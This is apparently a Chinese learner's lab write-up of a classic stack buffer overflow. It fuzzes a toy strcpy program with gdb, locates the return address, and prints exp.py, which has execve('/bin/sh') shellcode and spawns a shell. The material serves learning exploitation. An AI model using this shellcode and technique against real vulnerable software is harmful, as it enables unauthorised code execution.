参考:
https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
http://wooyun.jozxing.cc/static/drops/tips-6597.html
本人小白,如果哪里有错误还望多多指教!!!
首先看一下源代码:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}
关闭ASLR、DEP和Stack Protector编译生成可执行文件vuln
,这里不使用反汇编,直接暴力测试,输入大于256长度的字符,测试发现当字符串长度为260
时会出现Segmentation fault
。
- 字符串长度为256
gdb-peda$ r `python -c 'print "A"*256'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*256'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 10742) exited normally]
Warning: not running or target is remote
- 字符串长度为260
gdb-peda$ r `python -c 'print "A"*260'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*260'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0
ESP: 0xbfffef00 ('A' <repeats 68 times>)
EIP: 0x41414141 ('AAAA')
- 字符串长度为264
gdb-peda$ r `python -c 'print "A"*264'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*264'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0
ESP: 0x4141413d ('=AAA')
EIP: 0x804848f (<main+84>: ret)
可以看到字符串长度小于260
不会产生Segmentation fault
,而字符串长度大于260
时又无法控制’EIP’的值。所以输入字符串长度应为’260’。
接下来确定EIP
所在的位置,使用长度为260
的如下字符串作为输入:
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
开启:core dump
,来定位正常运行情况下的ESP
和EIP
。
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
然后运行:
shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ ./vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Input:aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Segmentation fault (core dumped)
接下来根据产生的core dump
文件确定ESP
和 EIP
以及buf
的起始地址。
shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ gdb ./vuln /tmp/core.1543385049 -q
...
gdb-peda$ x/s $esp
0xbfffef00: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ", '1' <repeats 52 times>
gdb-peda$ x/s $eip
0x46464646: <error: Cannot access memory at address 0x46464646>
根据GGGG
在输入字符串中的偏移可以计算出buf
的起始地址,buf
的起始地址需要写到EIP
指向的位置,而EIP
和ESP
相差4
个字节。exp.py如下:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbfffee80
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf = scode
buf += "\x90" * 99
buf += conv(ret_addr)
buf += "\x90" * 132
print "Calling vulnerable program"
call(["./vuln", buf])
运行结果:
shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ python exp.py
Calling vulnerable program
Input:1�Ph//shh/bin��P��S���
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
$ whoami
shu
- 注意
- 虽然关闭了ASLR,但是使用
gdb
调试状态下的buf
地址和直接运行时的buf
地址不一样,所以不能直接通过调试来获取buf
的地址。而且我在调试过程发现:调试状态下发生Segmentation fault
时ESP
和直接运行程序发生Segmentation fault
时的ESP
值相同,但是调试状态下的ESP
和EIP
所指的内容和直接执行时的不一样。调试时的ESP
值和EIP
如下:
ESP: 0xbfffef00 ("WWWWXXXXYYYYZZZZ", '1' <repeats 52 times>)
EIP: 0x56565656 ('VVVV')
- 我第一次写exp.py的时候把
EIP
的值(即:return address)填为ESP
,而将真正的shellcode
放在ESP
处,但是执行的时候报错,不知道什么原因。后来把shellcode
放在了从buf
处执行就能得到shelll
了。